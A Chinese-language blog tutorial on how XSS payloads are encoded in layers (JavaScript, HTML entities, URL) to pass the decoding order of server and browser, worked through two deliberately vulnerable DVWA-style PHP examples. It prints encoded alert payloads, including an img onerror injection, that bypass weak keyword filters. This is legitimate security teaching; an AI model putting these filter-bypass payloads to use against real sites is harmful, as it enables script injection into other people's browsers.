XSS编码初析

时间:2022-09-27 22:08:32

首先我们应当了解,当我们发送一个请求链接时,服务器与客户端都发生了什么

这里仅涉及到js的编码问题,因此就编码来说,首先我们确定我们发出的请求是采用GET的方式还是采用POST的方式

若采用GET的方式,则客户是通过URL地址发送请求链接,既然是URL链接就需要对其进行URL编码,客户端首先对其进行URL编码,之后发送给服务器端,服务器端受到该GET请求后,首先解析请求链接,因此就对URL进行解码,之后针对该请求回复一个RESPONSE,其中RESPONSE中与URL相关的内容是经过URL解码之后的信息,这样第一步就完成了,其中URL编码规则如下:

%十六进制

之后将RESPONSE封装好之后发送给客户端,客户端中的游览器就开始解析该RESPONSE,并呈现给用户。

在解析RESPONSE时会遵循以下解析原则:

1.是HTML代码,会使用HTML解析器对其进行HTML解码,此时HTML的编码解码转换就是:若存在一些特殊字符时将HTML编码为实体编码,在解码时就是将实体编码转化为HTML正常的字符。

2.JS代码,当HTML解析器解析中遇见<script>等JS代码时,会调用JAVASCRIPT解析器进行解析。这里的javascript解码并不需要转化为特殊的字符,而是说他能解析一些js脚本语言像alert(11),遇到这个它就会弹出相应的11,触发一定的游览器操作。

因此整个过程如下:

当存在GET请求时:

服务器URL解码--------->客户端HTML解码---------------->客户端JAVASCRIPT解码

此时对我们要求的编码顺序就刚好相反:

客户端JAVASCRIPT编码--------------->客户端HTML编码------>URL编码

只有这样发送出去的信息才能达到我们想要接受的效果,这里以DVWA为例举两个简单的例子:

0x01 1.HTML->JS

<?php
function htmlencode($str){
   if(empty($str)) return;
   if($str == "") return;
   $str = str_ireplace("<","",$str);
   $str = str_ireplace(">","",$str);
   $str = str_ireplace("script","",$str);
   $str = str_ireplace("img","",$str);
   $str = str_ireplace(":","",$str);
   $str = str_ireplace("javascript","",$str);
   return $str;
}
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 $isempty = true;
} else {
 $html .= '<pre>';
 $html .= '<a onclick=" ' .htmlencode($_GET['name']).'">click this url</a>';
 $html .= '</pre>';
 echo "$html";
}
?>
 
<html>
<script>
 
</script>
</html>

分析该源码,我们首先从GET请求中的name参数开始分析,既然是GET请求,那么我们最终是通过URL地址的方式提交该请求,因此服务器刚开始做的便是URL解码。

服务器收到请求之后将其URL解码之后的内容嵌入到RESPONSE中发送给客户端,之后客户端游览器收到RESPONSE开始解析

首先因为name还在一个<a>的HTML标签中,因此name会进行HTML解码,解码之后遇到onclick才会开始调用javascript解析器进行js解码,根据这种分析,我们想要构造的XSS应该刚好反向进行编码,首先是js编码就是普通的js语句,如alert(11),之后再使用HTML编码,即将js语句转化为HTML实体编码,最后再进行URL编码。

语句的转化结果如下:

JS编码 HTML编码 URL编码
alert(11) alert(11) %26%23x61%3b%26%23x6C%3b%26%23x65%3b%26%23x72%3b%26%23x74%3b%26%23x28%3b%26%23x31%3b%26%23x31%3b%26%23x29%3b

那么最终的payload即为最后的URL编码,效果如下:

XSS编码初析

0x02 JS->HTML

代码如下:

<?php
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
   $isempty = true;
} else {
   $value = $_GET['name'];
   $html .= '<pre>';
   $html .= "Your Name is :
       <div id='a'></div>
       <script>
           document.getElementById('a').innerHTML= "."'".htmlspecialchars($value)."'".";
       </script>
 ";
   $html .= '</pre>';
echo "$html";
}
 
?>

分析上面源码,首先name是从GET请求中获取,因此最后同上要进行URL编码,而后将服务器将收到的URL进行解码并嵌入RESPONSE中发送给客户端,遇到<Script>标签后将调用JAVASCRIPT解析器进行JS解析,其中如果存在变量那么将使用JS对其进行解码,解码之后再通过HTML进行HTML解码。

因此构造的顺序与其刚好相反,先是对XSS语句进行HTML编码,而这里HTML不需要转化为实体编码,最后再对其进行JS编码,最后再进行URL编码,从而形成最终的PAYLOAD。

其中的转化语句如下:

HTML编码 <img src=1 onerror=alert(/xss/)>
JS编码 \u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0031\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029\u003e
URL编码 %5cu003c%5cu0069%5cu006d%5cu0067%5cu0020%5cu0073%5cu0072%5cu0063%5cu003d%5cu0031%5cu0020%5cu006f%5cu006e%5cu0065%5cu0072%5cu0072%5cu006f%5cu0072%5cu003d%5cu0061%5cu006c%5cu0065%5cu0072%5cu0074%5cu0028%5cu002f%5cu0078%5cu0073%5cu0073%5cu002f%5cu0029%5cu003e
   

测试效果如下:

XSS编码初析

0x03 总结

发现如果使用GET请求,那么除了最后一次URL编码之外之需要进行一次编码操作

归纳为,如果是在HTML解析器中执行的解码那么只需要调用一次HTML编码操作,如果是在JAVASCRIPT解析器中进行的解码那么只需要调用一次JAVASCRIPT解码操作。

XSS编码初析的更多相关文章

  1. Struts2之ajax初析

    Web2.0的随波逐流,Ajax那是大放异彩,Struts2框架自己整合了对Ajax的原生支持(struts 2.1.7+,之前的版本可以通过插件实现),框架的整合只是使得JSON的创建变得异常简单, ...

  2. XSS编码与绕过

     XSS编码与绕过 0x00 背景 对于了解web安全的朋友来说,都知道XSS这种漏洞,其危害性不用强调了.一般对于该漏洞的防护有两个思路:一是过滤敏感字符,诸如[<,>,script,' ...

  3. XSS编码问题的个人总结

    XSS也太太太难了,主要也是因为自己没花时间集中. 文章脉络:根据我粗浅的理解,从开始学习XSS到现在,从一开始的见框就插到现在去学构造.编码,首先需要的是能看懂一些payload,然后再去深入理解. ...

  4. xss挖掘初上手

    本文主要总结了xss可能出现的场景.偏向于案例,最后分享一哈简单的绕过和比较好用的标签. 1.搜索框 首先看能否闭合前面的标签. 如输入111”><svg/onload=alert(1)& ...

  5. xss编码小结

    一.JS编码与HTML编码区分: HTML实体可以使用十进制与十六进制编码:javascript可以使用Unicode与八进制与十六进制进行编码. 二.编码原理区分: 三.编码与非编码 对于JS编码: ...

  6. XSS漏洞初窥(通过dvwa平台进测试)

    xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS.作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过 ...

  7. XSS与字符编码的那些事儿

    目录 0x00:基本介绍 0x01:html实体编码 0x02:新增的实体编码 实体编码变异以及浏览器的某些工作原理! 0x03:javascript编码 0x04:base64编码 0x05:闲扯 ...

  8. &quot&semi; XSS易容术---bypass之编码混淆篇&plus;辅助脚本编写&quot&semi;

    一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...

  9. xss的编码原理

    把以前的笔记翻出来整理一下 最前方 xss如何选用编码原理,为什么 找到的挺清楚的文章了:https://www.cnblogs.com/p0laris/p/11898322.html浏览器解析有两种 ...

随机推荐

  1. Oracle如何导出sys用户下的系统表

    环境:Solaris 10 + Oracle 10.2.0.4 1.导出实例 2.参考内容 Reference 1.导出实例 导出sys用户下的HIST_HEAD$和WRI$_OPTSTAT_HIST ...

  2. Attribute 用法

    public class Program { //定制特性也可以应用在其他定制特性上, //应用AttributeUsage,来控制如何应用新定义的特性 [AttributeUsage(Attribu ...

  3. linux red hat 安装svn

    安装步骤如下: 1.yum install subversion   2.输入rpm -ql subversion查看安装位置,如下图:   我们知道svn在bin目录下生成了几个二进制文件. 输入 ...

  4. linux包之iproute之ss命令

    概述 [root@localhost ~]# rpm -qa|grep iprouteiproute-2.6.32-31.el6.x86_64 当服务器的socket连接数量变得非常大时,无论是使用n ...

  5. 无线路由器的&OpenCurlyDoubleQuote;克隆MAC地址”是干什么作用的?

    本文章转载:http://blog.sina.com.cn/s/blog_4c900d100102uysb.html 1.问题: 无线路由器的“克隆MAC地址”是干什么作用的?怎样使用? 2.使用背景 ...

  6. C&plus;&plus; 遇见的一些函数

    1.位与(&)操作,计算十进制数中的为"1"的位数 int cnt_one(int k) { ; //保存位为"1"的数量 while (k) { k ...

  7. Currency Exchange

    主要找正环: #include<cstdio> #include<cstring> #include<cstdlib> #include<algorithm& ...

  8. sublime模式下开启vim并修改esc

    首先我用的是sublime text2 sublime下开启vim模式: 在Preference -> Setting-User里面加上 "ignored_packages" ...

  9. Android 四种启动模式 已看晕

    http://blog.csdn.net/zdw890412/article/details/7386314  //有点乱 http://www.cnblogs.com/fanchangfa/arch ...

  10. perl 之 正则表达式 (简)

    正则表达式,简单介绍: 元字符 匹配项 字符类:单字符与数字   . 匹配除换行符之外的任意字符 [a-z0-9] 匹配集中任意单字符 [^a-z0-9] 匹配不在集合中的任意单字符 \d 匹配单个数 ...